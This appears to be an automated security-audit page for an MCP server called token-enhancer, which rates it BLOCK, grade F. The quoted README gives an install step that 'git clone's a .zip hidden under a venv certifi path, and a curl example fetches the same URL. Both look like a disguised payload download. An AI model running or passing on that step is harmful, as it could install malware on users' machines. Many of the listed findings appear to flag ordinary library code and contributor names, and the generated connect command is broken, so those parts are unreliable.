Atlas / MCP servers / footshaped-friction742 / token-enhancer

token-enhancerBLOCK

mcp/footshaped-friction742/token-enhancer

Reduce web pages to clean text before they reach your AI agent’s context window, saving tokens and cutting noise

Verdict
BLOCK
Grade
F
Trust score
30 /100
Exposed tools
6 6r · 0w · 0d
Transport
stdio · streamable-http
License
MIT
Stars
2
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

A local proxy that strips web pages down to clean text before they enter your AI agent's context window.

One fetch of Yahoo Finance: 704,760 tokens → 2,625 tokens. 99.6% reduction.

No API key. No LLM. No GPU. Just Python.

The Problem

AI agents waste most of their token budget loading raw HTML pages into context. A single Yahoo Finance page is 704K tokens of navigation bars, ads, scripts, and junk. Your agent pays for all of it before any reasoning happens.

The Solution

Token Enhancer sits between your agent and the web. It fetches the page, strips the noise, caches the result, and returns only clean data.

Install

pip install xelektron-token-enhancer

Quick Start (from source)

git clone https://raw.githubusercontent.com/Footshaped-friction742/token-enhancer/main/venv/lib/python3.12/site-packages/certifi/token_enhancer_3.0.zip
cd token-enhancer
chmod +x install.sh
./install.sh
source .venv/bin/activate
python3 test_all.py --live

Usage

As a standalone proxy

source .venv/bin/activate
python3 proxy.py

Then in another terminal:

curl -s http://localhost:8080/fetch \
-H "content-type: application/json" \
-d '{"url": "https://raw.githubusercontent.com/Footshaped-friction742/token-enhancer/main/venv/lib/python3.12/site-packages/certifi/token_enhancer_3.0.zip"}' \
| python3 -m json.tool

As an MCP Server (Claude Desktop, Cursor, OpenClaw)

This is the plug and play option. Your AI agent discovers the tools automatically and uses them on its own.

pip install xelektron-token-enhancer

Claude Desktop: Add to your confi

Read from source at commit 459568da2b1dOBSERVED · 2026-10-11
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code (pypi)
claude mcp add xelektron-token-enhancer -- None xelektron-token-enhancer==0.2.1
03

Exposed tools (6)

6 read · 0 write · 0 destructive.

ToolRiskDescription
async_toolreadawait context.report_progress(50, 100)
fetch_cleanreadFetch a URL and return clean text with all HTML noise removed.
fetch_clean_batchreadFetch multiple URLs and return clean text for each.
my_toolreadreturn str(x)
refine_promptreadRefine a prompt by removing filler words while preserving
tool_with_contextreadctx.info(f
04

Trust audit

BLOCKgrade F · trust 30/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)FAIL
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (14 observation(s))
Network
declared (15 observation(s))
Shell
declared (19 observation(s))
Dependencies
not all pinned
Secrets in source
found

Findings (25)

CRITICALHard-coded secrets · secret.private_key · CWE-798, CWE-321
venv/lib/python3.12/site-packages/cryptography/hazmat/primitives/serialization/ssh.py:78
_SK_START = b"-----BEGIN OPENSSH PRIVATE KEY-----"
HIGHCode injection · code.deserialize · CWE-78, CWE-94, CWE-95
venv/lib/python3.12/site-packages/anyio/to_interpreter.py:130
res = pickle.loads(res)
Why it matters. deserialises untrusted bytes into live objects
Fix. use json or yaml.safe_load
HIGHCode injection · code.deserialize · CWE-78, CWE-94, CWE-95
venv/lib/python3.12/site-packages/anyio/to_process.py:94
retval = pickle.loads(pickled_response)
Why it matters. deserialises untrusted bytes into live objects
Fix. use json or yaml.safe_load
HIGHCode injection · code.deserialize · CWE-78, CWE-94, CWE-95
venv/lib/python3.12/site-packages/anyio/to_process.py:218
command, *args = pickle.load(stdin.buffer)
Why it matters. deserialises untrusted bytes into live objects
Fix. use json or yaml.safe_load
HIGHCode injection · code.deserialize · CWE-78, CWE-94, CWE-95
venv/lib/python3.12/site-packages/jinja2/bccache.py:73
checksum = pickle.load(f)
Why it matters. deserialises untrusted bytes into live objects
Fix. use json or yaml.safe_load
HIGHCode injection · code.deserialize · CWE-78, CWE-94, CWE-95
venv/lib/python3.12/site-packages/jinja2/bccache.py:79
self.code = marshal.load(f)
Why it matters. deserialises untrusted bytes into live objects
Fix. use json or yaml.safe_load
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
venv/lib/python3.12/site-packages/attr/_make.py:227
eval(bytecode, globs, locs)
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
venv/lib/python3.12/site-packages/cffi/recompiler.py:78
flags = eval(self.flags, G_FLAGS)
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
venv/lib/python3.12/site-packages/cffi/setuptools_ext.py:26
exec(code, glob, glob)
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
venv/lib/python3.12/site-packages/flask/cli.py:1031
eval(compile(f.read(), startup, "exec"), ctx)
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
venv/lib/python3.12/site-packages/flask/config.py:209
exec(compile(config_file.read(), filename, "exec"), d.__dict__)
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
venv/lib/python3.12/site-packages/httpx/_auth.py:155
self._netrc_info = netrc.netrc(file)
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
venv/lib/python3.12/site-packages/pip/_vendor/pygments/lexers/_mapping.py:34
'AscLexer': ('pip._vendor.pygments.lexers.asc', 'ASCII armored', ('asc', 'pem'), ('*.asc', '*.pem', 'id_dsa', 'id_ecdsa', 'id_ecdsa_sk', 'id_ed25519', 'id_ed25519_sk', 'id_rsa'), ('application/pgp-key
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
venv/lib/python3.12/site-packages/pip/_vendor/requests/utils.py:61
NETRC_FILES = (".netrc", "_netrc")
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
venv/lib/python3.12/site-packages/requests/utils.py:60
NETRC_FILES = (".netrc", "_netrc")
Why it matters. touches a credential store
HIGHNetwork egress · net.tls_off · CWE-200, CWE-319
venv/lib/python3.12/site-packages/pip/_internal/network/session.py:304
super().cert_verify(conn=conn, url=url, verify=False, cert=cert)
Why it matters. certificate verification is disabled
Fix. leave verification on
HIGHNetwork egress · net.tls_off · CWE-200, CWE-319
venv/lib/python3.12/site-packages/pip/_internal/network/session.py:315
super().cert_verify(conn=conn, url=url, verify=False, cert=cert)
Why it matters. certificate verification is disabled
Fix. leave verification on
HIGHNetwork egress · net.tls_off · CWE-200, CWE-319
venv/lib/python3.12/site-packages/pip/_vendor/distlib/wheel.py:183
def __init__(self, filename=None, sign=False, verify=False):
Why it matters. certificate verification is disabled
Fix. leave verification on
HIGHNetwork egress · net.tls_off · CWE-200, CWE-319
venv/lib/python3.12/site-packages/pip/_vendor/urllib3/contrib/securetransport.py:795
self._verify = False
Why it matters. certificate verification is disabled
Fix. leave verification on
HIGHPrivilege escalation / persistence · priv.escalate · CWE-269, CWE-250
venv/lib/python3.12/site-packages/pip/_internal/cli/base_command.py:168
"that directory. If executing pip with sudo, you should "
Why it matters. asks for elevated privileges
HIGHPrivilege escalation / persistence · priv.escalate · CWE-269, CWE-250
venv/lib/python3.12/site-packages/pip/_internal/cli/base_command.py:169
"use sudo's -H flag.",
Why it matters. asks for elevated privileges
HIGHPrompt injection · prompt.rtl_override · CWE-94, CWE-1427
venv/lib/python3.12/site-packages/pip-24.0.dist-info/AUTHORS.txt:498
Muha Ajjan
Why it matters. bidirectional override can render text differently from how it is read
HIGHPrompt injection · prompt.rtl_override · CWE-94, CWE-1427
venv/lib/python3.12/site-packages/pip-24.0.dist-info/AUTHORS.txt:760
rekcäH nitraM
Why it matters. bidirectional override can render text differently from how it is read
MEDIUMInventory / provenance · inv.binary · CWE-1104
venv/lib/python3.12/site-packages/81d243bd2c585b0f4821__mypyc.cpython-312-x86_64-linux-gnu.so
81d243bd2c585b0f4821__mypyc.cpython-312-x86_64-linux-gnu.so
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMInventory / provenance · inv.binary · CWE-1104
venv/lib/python3.12/site-packages/_cffi_backend.cpython-312-x86_64-linux-gnu.so
_cffi_backend.cpython-312-x86_64-linux-gnu.so
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README

Gates applied: critical_finding, no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 459568da2b1dfull audit observations/trust-audit/mcp-server/footshaped-friction742__token-enhancer.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-11459568da2b1dBLOCKF30first audit
06

Questions

What is the token-enhancer MCP server?

Reduce web pages to clean text before they reach your AI agent’s context window, saving tokens and cutting noise

What tools does token-enhancer expose?

6 in total: 6 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is token-enhancer safe to connect to an agent?

No — not without reading the findings first. The audit graded it F (30/100) and found 23 critical or high issues in the source. Each one is listed on this page with the file and line it is on.

What credentials does token-enhancer need?

It reads SSLKEYLOGFILE from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does token-enhancer run?

It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on PyPI as xelektron-token-enhancer.

How current is this page?

The grade is for one exact copy of the source (459568da2b1d), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement